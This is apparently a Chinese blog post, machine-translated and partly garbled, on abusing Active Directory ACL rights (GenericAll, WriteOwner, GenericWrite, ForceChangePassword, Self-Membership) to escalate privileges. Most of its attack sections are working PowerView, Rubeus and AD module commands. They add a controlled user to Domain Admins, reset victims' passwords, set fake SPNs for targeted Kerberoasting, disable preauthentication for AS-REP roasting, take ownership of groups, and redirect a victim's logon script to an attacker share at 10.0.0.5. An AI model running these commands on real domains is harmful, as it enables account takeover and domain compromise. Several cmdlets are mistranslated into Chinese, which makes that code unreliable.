发布于2025年12月5日12月5日 滥用 Active Directory ACL\ACE 权限 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse https://www.cnblogs.com/nice0e3/p/15879624.html DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是它们的详细解释: DACL(Discretionary Access Control List):DACL是一个访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。 DACL 是访问控制条目(ACE) 形式的列表。 ACE(访问控制条目):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问。每个ACE 定义一个安全主体(例如用户、组、计算机等)以及安全主体拥有的权限。在DACL中,每个ACE包含以下信息: 安全主体(SID):标识被授予或拒绝访问的用户、组或计算机的唯一标识符。访问权限:表示特定的操作或权限(如读、写、执行等)。访问掩码:指定授予或拒绝的实际权限。可访问性掩码:在某些情况下用于指定附加条件或限制。访问对象时,系统将根据DACL中的ACE进行身份验证。如果存在与用户身份匹配的ACE,并且ACE 授予所请求的权限,则将允许访问。如果没有匹配的ACE,或者存在与用户身份匹配但拒绝请求的权限的ACE,则访问将被拒绝。 域管理员的ACE 如下 其中,我们关心的权限如下: GenericAll- 对象的全部权限(将用户添加到组或重置用户密码)GenericWrite- 更新对象的属性(即登录脚本)WriteOwner- 将对象所有者更改为攻击者控制的用户接管对象WriteDACL- 修改对象的ACE 并给予攻击者对该对象的完全控制权AllExtendedRights- 能够将用户添加到组或重置密码ForceChangePassword- 能够更改用户密码Self (自我成员身份)- 将自己添加到组的能力GenericAll - 对对象的完全权限(例如将用户添加到组或重置用户的密码)。 GenericWrite - 更新对象的属性(例如登录脚本)。 WriteOwner - 将对象的所有者修改为攻击者控制的用户,从而接管该对象。 WriteDACL - 修改对象的ACE 并使攻击者能够完全控制该对象。 AllExtendedRights - 能够将用户添加到组或重置密码。 ForceChangePassword - 能够更改用户的密码。自我(自我成员资格)- 能够将自己添加到群组中。 Self-Membership - 该权限是指帐户将自己添加到某个组的权限(需要在某个组的高级权限中添加ACE,即针对组对象)。换句话说,某个对象在某个组中具有“自我成员”状态。通用所有 通用用户帐户的所有权限 使用PowerView工具查看用户的GenericAll权限。 powershell -exec 绕过 导入模块.\PowerView.ps1 //获取用户man1的AD对象的访问控制列表(ACL),并过滤返回具有“GenericAll”权限的项目 Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq 'GenericAll'} 可以看到spotless用户对delegate拥有GenericAll权限,所以获得spotless用户权限后,我们就可以接管delegate用户了。 **修改密码:**直接修改委托用户的密码即可。网络用户用户名密码/域 **Kerberoasting攻击:**为委托用户设置SPN,然后通过spotless用户的TGT请求所有服务的ST,获取委托用户的HASH加密的ST,并进行破解。 # 设置SPN Set-DomainObject -Credential $creds -Identity 用户名-Set @{serviceprincipalname='fake/NOTHING'} #GetHash .\Rubeus.exe kerberoast /user:用户名/nowrap #CleanSPN Set-DomainObject -Credential $creds -Identity 用户名-Clear serviceprincipalname -Verbose https://github.com/ShutdownRepo/targetedKerberoast python3 TargetedKerberoast.py -domain.local -u 用户名-p 密码-v **ASREProast 攻击:** 通过禁用预身份验证,可以使用户成为ASREPRoastable,然后使其遭受ASREProast 攻击。 Set-DomainObject -Identity 用户名-XOR @{UserAccountControl=4194304} 用户组的通用所有权限 //获取domain admins组的distinguishedName值 Get-NetGroup '域管理员' //获取Domain Admins组的ACL 获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq ' CN=域管理员,CN=用户,DC=vvvv1,DC=com'} 发现该spotless用户拥有Domain Admins组的GenericAll权限,可以进行攻击。 将您自己(用户一尘不染)或其他用户添加到域管理员组。 网络组“域管理员”一尘不染/添加/域 攻击还可以使用Active Directory 或PowerSploit 模块进行。 # 带有活动目录模块 Add-ADGroupMember -Identity 'domain admins' -Members 一尘不染 # 使用Powersploit 添加-NetGroupUser -用户名Spotless -GroupName 'domain admins' -Domain 'offense.local' 通用计算机帐户或服务帐户的所有权限 如果您对计算机帐户或服务帐户具有GenericAll 权限或GenericWrite 权限,则可以考虑使用基于资源的约束委派攻击。详情请参见《内网横向移动-基于资源的约束委派》。对于服务账户,还可以考虑上述对用户账户的攻击方式;或使用影子凭证进行攻击;影子凭证https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab http://www.hackdig.com/02/hack-599160.htm https://shenaniganslabs.io/2019/01/28/摇摆狗.html 写入属性 用户组的WriteProperty权限 我们的受控用户对域管理员组具有WriteProperty 权限。 您可以将此用户添加到域管理员组以提升权限。 powershell -exec 绕过 导入模块.\PowerView.ps1 添加-NetGroupUser -用户名用户-GroupName '域管理员' -域'vvvv1.com' 自我(自我会员资格) 用户组的自我(自我会员)权限 我们的受控用户拥有域管理员组的自我(自我成员资格)权限。 该权限也是将用户添加到组的权限。可以将用户添加到域管理员组以增加权限。 powershell -exec 绕过 导入模块.\PowerView.ps1 添加-NetGroupUser -用户名用户-GroupName '域管理员' -域'vvvv1.com' “WriteProperty(Self-Membership)”和“Self(Self-Membership)”都是与自我成员资格(Self-Membership)相关的属性,但它们的含义不同。 'WriteProperty (Self-Membership)': 此属性指示对象可以写入(修改)其自己的属性。通常,对象只能修改其他对象的属性,而不能直接修改自己的属性。但是当设置了“WriteProperty(Self-Membership)”属性时,对象可以修改自己的属性。 'Self (Self-Membership)': 此属性指示对象本身是其组或集合的成员。它与“WriteProperty(自我成员资格)”属性不同。 “Self(Self-Membership)”属性表明该对象本身是其自己的组或集合的成员,而“WriteProperty(Self-Membership)”属性表明该对象具有修改其自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,则说明我们查询的用户对象属于这个用户组。 ‘WriteProperty(Self-Membership)’属性赋予对象修改自身属性的权限,并且可以将对象添加到组中; 'Self(Self-Membership)'属性表示该对象本身是其组或集合的成员,并且该对象也可以被添加到该组中。WriteProperty(自我成员资格) 用户组的WriteProperty(自我成员资格)权限 我们的受控用户对域管理员组具有WriteProperty(自我成员资格)权限。 获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq 'CN=域管理员、CN=用户、DC=进攻、DC=本地' - 和$_.IdentityReference -eq 'OFFENSE\spotless'} 该权限也是将用户添加到组的权限。可以将用户添加到域管理员组以增加权限。 网络组“域管理员”一尘不染/添加/域 “WriteProperty(Self-Membership)”和“Self(Self-Membership)”都是与自我成员资格(Self-Membership)相关的属性,但它们的含义不同。 'WriteProperty (Self-Membership)': 此属性指示对象可以写入(修改)其自己的属性。通常,对象只能修改其他对象的属性,而不能直接修改自己的属性。但是当设置了“WriteProperty(Self-Membership)”属性时,对象可以修改自己的属性。 'Self (Self-Membership)': 此属性指示对象本身是其组或集合的成员。它与“WriteProperty(自我成员资格)”属性不同。 “Self(Self-Membership)”属性表明该对象本身是其自己的组或集合的成员,而“WriteProperty(Self-Membership)”属性表明该对象具有修改其自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,则说明我们查询的用户对象属于这个用户组。 ‘WriteProperty(Self-Membership)’属性赋予对象修改自身属性的权限,并且可以将对象添加到组中; 'Self(Self-Membership)'属性表示该对象本身是其组或集合的成员,并且该对象也可以被添加到该组中。强制更改密码 用户帐户的 ForceChangePassword 权限 如果我们控制的帐户在目标帐户的ACL 中具有“User-Force-Change-Password”对象类型,并且具有“ExtendedRight”权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。 powershell -exec 绕过 导入模块.\PowerView.ps1 Get-ObjectAcl -SamAccountName 委托-ResolveGUIDs | ? {$_.IdentityReference -eq 'OFFENSE\spotless'} 使用PowerView工具修改密码。 Set-DomainUserPassword -Identity delegate -Verbose 或者使用下面的语句 $c=获取凭证 Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose 或者总结成一行语句 Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose 写入所有者 用户组的WriteOwner权限 在攻击之前,域管理员组Domain Admins 属于Domain Admins。 枚举组的ACE 后,如果我们发现我们控制下的用户一尘不染地具有“WriteOwner”权限,并且该权限适用于“ObjectType:All”,那么我们可以修改该组的所有者。 获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq 'CN=域管理员、CN=用户、DC=进攻、DC=本地' - 和$_.IdentityReference -eq 'OFFENSE\spotless'} 我们可以将“域管理员”对象的所有者更改为我们的用户,在我们的例子中是“一尘不染”的。请注意,使用“-Identity”指定的SID 是“Domain Admins”组的SID。 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity 'spotless' -Verbose //您也可以使用SID的名称(HTB: Reel) Set-DomainObjectOwner -Identity '域管理员' -OwnerIdentity 'spotless' 通用写入 GenericWrite 也在访问掩码中被识别。该权限可以更新目标对象的属性值。您可以使用PowerView 中的Set-DomainObject 方法来设置目标属性的值。 用户帐户的 GenericWrite 权限 Get-ObjectAcl -ResolveGUIDs -SamAccountName 委托| ? {$_.IdentityReference -eq 'OFFENSE\spotless'} 受控用户Spotless 对另一个用户委托具有“WriteProperty”权限,并且此权限适用于“Script-Path”对象类型。它允许攻击者覆盖委托用户的登录脚本路径,这意味着下次委托用户登录时,他们的系统将执行我们的恶意脚本。 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue '\\10.0.0.5\totallyLegitScript.ps1' 可以看到AD中委托用户的登录脚本字段已更新。 用户组的GenericWrite权限 允许您添加新用户(例如您自己)作为组成员。与上面《GenericAll-对用户组的GenericAll权限》的操作类似。 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse #创建信用 $pwd=ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds=New-Object System.Management.Automation.PSCredential('DOMAIN\用户名', $pwd) #将用户添加到组中 Add-DomainGroupMember -Credential $creds -Identity '组名称' -Members '用户名' -Verbose # 检查用户是否已添加 获取DomainGroupMe
创建帐户或登录后发表意见